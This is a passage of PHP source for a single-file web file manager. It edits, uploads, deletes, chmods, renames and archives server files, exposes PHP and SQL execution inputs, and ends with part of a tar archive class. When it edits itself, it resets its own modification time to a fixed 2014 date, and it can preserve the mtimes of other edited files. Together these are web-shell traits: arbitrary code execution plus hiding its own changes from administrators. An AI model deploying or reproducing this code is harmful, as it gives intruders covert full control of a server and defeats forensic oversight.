'.((!empty($value)&&($value==$active))?'selected':'').'
>'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).'
'.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .=
__('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time']))
touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' .
$_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0'
cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' -
'.__('Edit').' -
'.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a
href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post"
action="<?=$editlink?>">
            <textarea name="newcontent"
id="newcontent" cols="45" rows="15"
style="width:99%"
spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save"
value="<?=__('Submit')?>">
            <input type="submit" name="cancel"
value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'],
fm_convert_rights($_REQUEST['rights_val']),
@$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'],
true);
    $link = $url_inc . '&rights=' .
$_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a
href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post"
action="<?=$link?>">
           <?=__('Rights').' -
'.$_REQUEST['rights']?> <input type="text"
name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox"
name="recursively" value="1">
<?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save"
value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif
(!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.')
{
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path .
$_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' .
$_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a
href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post"
action="<?=$link?>">
            <?=__('Rename')?>: <input
type="text" name="newname"
value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save"
value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
   
if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file']))
{
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] =
str_replace('%', '',
$_FILES['upload']['name']);
           
if(!move_uploaded_file($_FILES['upload']['tmp_name'],
$path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').':
'.$_FILES['upload']['name'];
			}
        }
    }
elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.')
{
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').'
'.$_REQUEST['delete'];
		}
	}
elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory']))
{
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').'
'.$_REQUEST['dirname'];
		}
    } elseif(!empty($_POST['search_recursive'])) {
		ini_set('max_execution_time', '0');
		$search_data =  find_text_in_files($_POST['path'],
$_POST['mask'], $_POST['search_recursive']);
		if(!empty($search_data)) {
			$msg .= __('Found in files').'
('.count($search_data).'):<br>';
			foreach ($search_data as $filename) {
				$msg .= '<a
href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'"
title="' . __('Edit') .
'">'.basename($filename).'</a>&nbsp;
&nbsp;';
			}
		} else {
			$msg .= __('Nothing founded');
		}	
	}
elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file']))
{
        if(!$fp=@fopen($path .
$_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').'
'.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
		.'&nbsp;<a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'. $destination.'" >'.__('Delete') .
'</a>';
		else $msg .= __('Error occurred').': '.__('no
files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
			.'&nbsp;<a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'.$destination.'"
>'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no
files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file =
str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').'
"'.__('Decompress').' '.$source.'"
'.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
			.'&nbsp;<a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'.$destination.'"
>'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no
files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File
manager')?><?=(!empty($path)?' -
'.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2"
class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post"
action="<?=$url_inc?>">
				<input type="hidden" name="path"
value="<?=$path?>" />
				<input type="text" name="dirname"
size="15">
				<input type="submit" name="mkdir"
value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post"
action="<?=$url_inc?>">
				<input type="hidden" name="path"    
value="<?=$path?>" />
				<input type="text"   name="filename"
size="15">
				<input type="submit" name="mkfile"  
value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post"
action="<?=$url_inc?>"
style="display:inline">
				<input type="hidden" name="path"
value="<?=$path?>" />
				<input type="text"
placeholder="<?=__('Recursive search')?>"
name="search_recursive"
value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>"
size="15">
				<input type="text" name="mask"
placeholder="<?=__('Mask')?>"
value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>"
size="5">
				<input type="submit" name="search"
value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post"
action="<?=$url_inc?>"
enctype="multipart/form-data">
			<input type="hidden" name="path"
value="<?=$path?>" />
			<input type="file" name="upload"
id="upload_hidden" style="position: absolute; display:
block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;"
onchange="document.getElementById('upload_visible').value =
this.value;" />
			<input type="text" readonly="1"
id="upload_visible" placeholder="<?=__('Select the
file')?>" style="cursor: pointer;"
onclick="document.getElementById('upload_hidden').click();"
/>
			<input type="submit" name="test"
value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action=""
method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden"
value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit"
value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0'
cellspacing='1' cellpadding='1' id="fm_table"
width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap">
<?=__('Filename')?> </th>
    <th style="white-space:nowrap">
<?=__('Size')?> </th>
    <th style="white-space:nowrap">
<?=__('Date')?> </th>
    <th style="white-space:nowrap">
<?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap">
<?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if
(!empty($fm_config['show_dir_size'])&&!fm_root($file))
$filedata[7] = fm_dir_size($filename);
        $link = '<a
href="'.$url_inc.'&path='.$path.$file.'"
title="'.__('Show').'
'.$file.'"><span
class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span>
'.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' :
fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').'
'. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' :
fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').'
'.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert =
'onClick="if(confirm(\'' . __('Are you sure you
want to delete this directory (recursively)?').'\n /'.
$file. '\')) document.location.href = \'' . $url_inc .
'&delete=' . $file . '&path=' . $path  .
'\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto =
screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\'
+ lefto +
\',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return
false;"
href="'.fm_img_link($filename).'"><span
class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span>
'.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' .
$file . '&path=' . $path. '" title="' .
__('Edit') . '"><span
class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span>
'.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink = 
fm_link('download',$filename,__('Download'),__('Download').'
'. $file);
		$arlink =
in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' :
fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').'
'. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File
selected').': \n'. $file. '. \n'.__('Are you
sure you want to delete this file?') . '\'))
document.location.href = \'' . $url_inc .
'&delete=' . $file . '&path=' . $path  .
'\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a
href="#" title="' . __('Delete') . '
'. $file . '" ' . $alert . '>' .
__('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a
href="' . $url_inc . '&rename=' . $file .
'&path=' . $path . '" title="' .
__('Rename') .' '. $file . '">' .
__('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ?
'' : '<a href="' . $url_inc .
'&rights=' . $file . '&path=' . $path .
'" title="' . __('Rights') .' '.
$file . '">' . @fm_rights_string($filename) .
'</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d
H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a
href="https://github.com/Den1xxx/Filemanager">Github</a>
 | <a
href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP
'.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' |
'.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' |
'.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a
href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a
href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo
' | <a href="javascript: void(0)" onclick="var obj =
new table2Excel();
obj.CreateExcelSheet(\'fm_table\',\'export\');"
title="'.__('Download').'
xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a
href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href',
'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""),
c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2
- 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 :
0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1
<= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e +=
c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0,
b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b
&& (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html
xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:x="urn:schemas-microsoft-com:office:excel"
xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if
gte mso
9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta
http-equiv="content-type" content="text/plain;
charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span>
/g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {//
If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) &&
is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return
$this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name,
$this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').'
'.$this->archive_name.__(' to
').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp',
'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp
'.__('is not readable');
					rename($this->archive_name.'.tmp',
$this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp',
$this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to
').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName,
-3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName,
'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not
readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.':
<br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is
incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is
incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').':
'.__('Directory ').$filename.__('is not
readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/'
&& substr($path, 0, 3) != '../' && !strpos($path,
':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long
header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0,
strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/')
$header['filename'] = $path.$header['filename'];
				else $header['filename'] =
$path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) &&
($header['typeflag'] == '')){
					$this->errors[] =__('File
').$header['filename'].__(' already
exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) &&
($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'.
'.__('File ').$header['filename'].__('
already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'.
'.__('File ').$header['filename'].__('
already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] ==
'5' ? $header['filename'] :
dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').'
'.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').'
'.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'],
'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').'
'.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) !=
$header['size']) {
					$this->errors[] = __('Size of file').'
'.$header['filename'].' '.__('is
incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) ==
$header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/')
&& ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and
(!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').'
'.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').':
'.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i,
1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i,
1));

		$unpack_data =
unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor',
$binaryData);

		$header['checksum'] =
OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0))
	return true;
			$this->errors[] = __('Error checksum for file
').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag'])
== '5')	$header['size'] = 0;
		$header['filename'] =
trim($unpack_data['filename']);
		$header['mode'] =
OctDec(trim($unpack_data['mode']));
		$header['user_id'] =
OctDec(trim($unpack_data['user_id']));
		$header['group_id'] =
OctDec(trim($unpack_data['group_id']));
		$header['size'] =
OctDec(trim($unpack_data['size']));
		$header['time'] =
OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0,
sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '',
'', '', '', '', '',
'', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' '
(space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) !=
''){
